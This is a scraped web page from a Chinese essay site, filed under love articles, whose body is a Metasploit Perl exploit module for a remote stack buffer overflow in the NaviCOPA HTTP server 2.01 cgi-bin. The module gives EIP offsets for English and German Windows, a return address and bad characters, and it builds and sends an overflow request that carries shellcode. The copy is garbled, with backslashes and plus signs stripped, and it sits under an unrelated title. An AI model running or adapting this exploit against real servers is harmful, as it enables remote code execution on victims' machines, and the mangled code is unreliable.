首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 爱情文章 > 正文

    诅咒铠甲2.01 [NaviCOPA,Web,Server,2.01,Remote,Buffer,Overflow,Exploit,(meta)]

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    ##

    # This file is part of the Metasploit Framework and may be redistributed

    # according to the licenses defined in the Authors field below. In the

    # case of an unknown or missing license, this file defaults to the same

    # license as the core Framework (dual GPLv2 and Artistic). The latest

    # version of the Framework can always be obtained from metasploit.com.

    ##

    package Msf::Exploit::naviCopa_cgi;

    use base "Msf::Exploit";

    use strict;

    use Pex::Text;

    my $advanced = { };

    my $info =

    {

    'Name' => 'Buffer Overflow in NaviCopa HTTP server 2.01 (cgi-bin)',

    'Version' => '$Rev: 3818 $',

    'Authors' => [ 'www.skillTube.com', ],

    'Arch' => [ 'x86' ],

    'OS' => [ 'win32' ],

    'Priv' => 1,

    'AutoOpts' => { 'EXITFUNC' => 'process' },

    'UserOpts' =>

    {

    'RHOST' => [1, 'ADDR', 'The target address'],

    'RPORT' => [1, 'PORT', 'The target port', 80],

    'URL' => [1, 'DATA', 'The URL to the cgi-bin', '/cgi-bin/'],

    'SSL' => [0, 'BOOL', 'Use SSL'],

    },

    'Payload' =>

    {

    'Space' => 900,

    'BadChars' => "x00x26x3dx0ax0dx25x2bx2ex3f",

    },

    'Description' => Pex::Text::Freeform(qq{

    This module exploits a stack overflow in the NaviCopa HTTP server

    2.01 (release version 6th October 2006 or earlier). It is not the

    same vulnerability as the one described in BID 20250.

    The vulnerability was found by a member of skillTube.com and

    allows reliable code execution. The only thing that may vary

    is the path to the NaviCopa installation folder. On an English

    version of Windows, it resides in the c:program filesnavicopa

    directory. In that case, eip is overwritten with char 271 to 274.

    To add a new target version of Windows (e.g. Spanish, Italian etc.),

    you only need to change the offset to eip. As an example, in a

    German version of Windows, the installation directory of navicopa is

    c:programmenavicopa. As a result, the path length is four characters

    shorter than on an English version of Windows. As a consequence, the

    offset to eip has to be increased by four.

    Exploit was successfully tested against Windows 2000, XP and

    Windows Vista (regardless of ASLR).

    }),

    'Refs' => [

    ['URL', 'http://www.skilltube.com'],

    ],

    'DefaultTarget' => 0,

    'Targets' =>

    [

    ['Universal exploit for all English versions of Windows (XP,2000,Vista)', 270, 0x1002c46f], # push esp, retn

    ['Universal exploit for all German versions of Windows (XP,2000,Vista)', 274, 0x1002c46f], # push esp, retn

    ],

    'Keys' => ['naviCopa'],

    'DisclosureDate' => 'March 2007',

    };

    sub new {

    my $class = shift;

    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

    return($self);

    }

    sub Exploit {

    my $self = shift;

    my $target_host = $self->GetVar('RHOST');

    my $target_port = $self->GetVar('RPORT');

    my $target_path = $self->GetVar('URL');

    my $target_idx = $self->GetVar('TARGET');

    my $shellcode =$self->GetVar('EncodedPayload')->Payload;

    my $target = $self->Targets->[$target_idx];

    $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

    my $pattern = "A"x900;

    my $jmp = "xebx04";

    substr($pattern, $target->[1] , 4, pack('V', $target->[2])); # ret

    substr($pattern, $target->[1] 42, length($jmp), $jmp);

    substr($pattern, $target->[1] 44 , 4, pack('V', $target->[2])); #edx

    substr($pattern, $target->[1] 48 , length($shellcode), $shellcode);

    my $request =

    "GET $target_path$pattern HTTP/1.1rn".

    "Host: $target_host:$target_portrnrn";

    my $s = Msf::Socket::Tcp->new

    (

    'PeerAddr' => $target_host,

    'PeerPort' => $target_port,

    'LocalPort' => $self->GetVar('CPORT'),

    'SSL' => $self->GetVar('SSL'),

    );

    if ($s->IsError) {

    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);

    return;

    }

    $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");

    $s->Send($request);

    $self->PrintLine("[*] Waiting for a response...");

    my $r = $s->Recv(-1, 5);

    $s->Close();

    return;

    }

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文诅咒铠甲2.01 [NaviCOPA,Web,Server,2.01,Remote,Buffer,Overflow,Exploit,(meta)] 由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.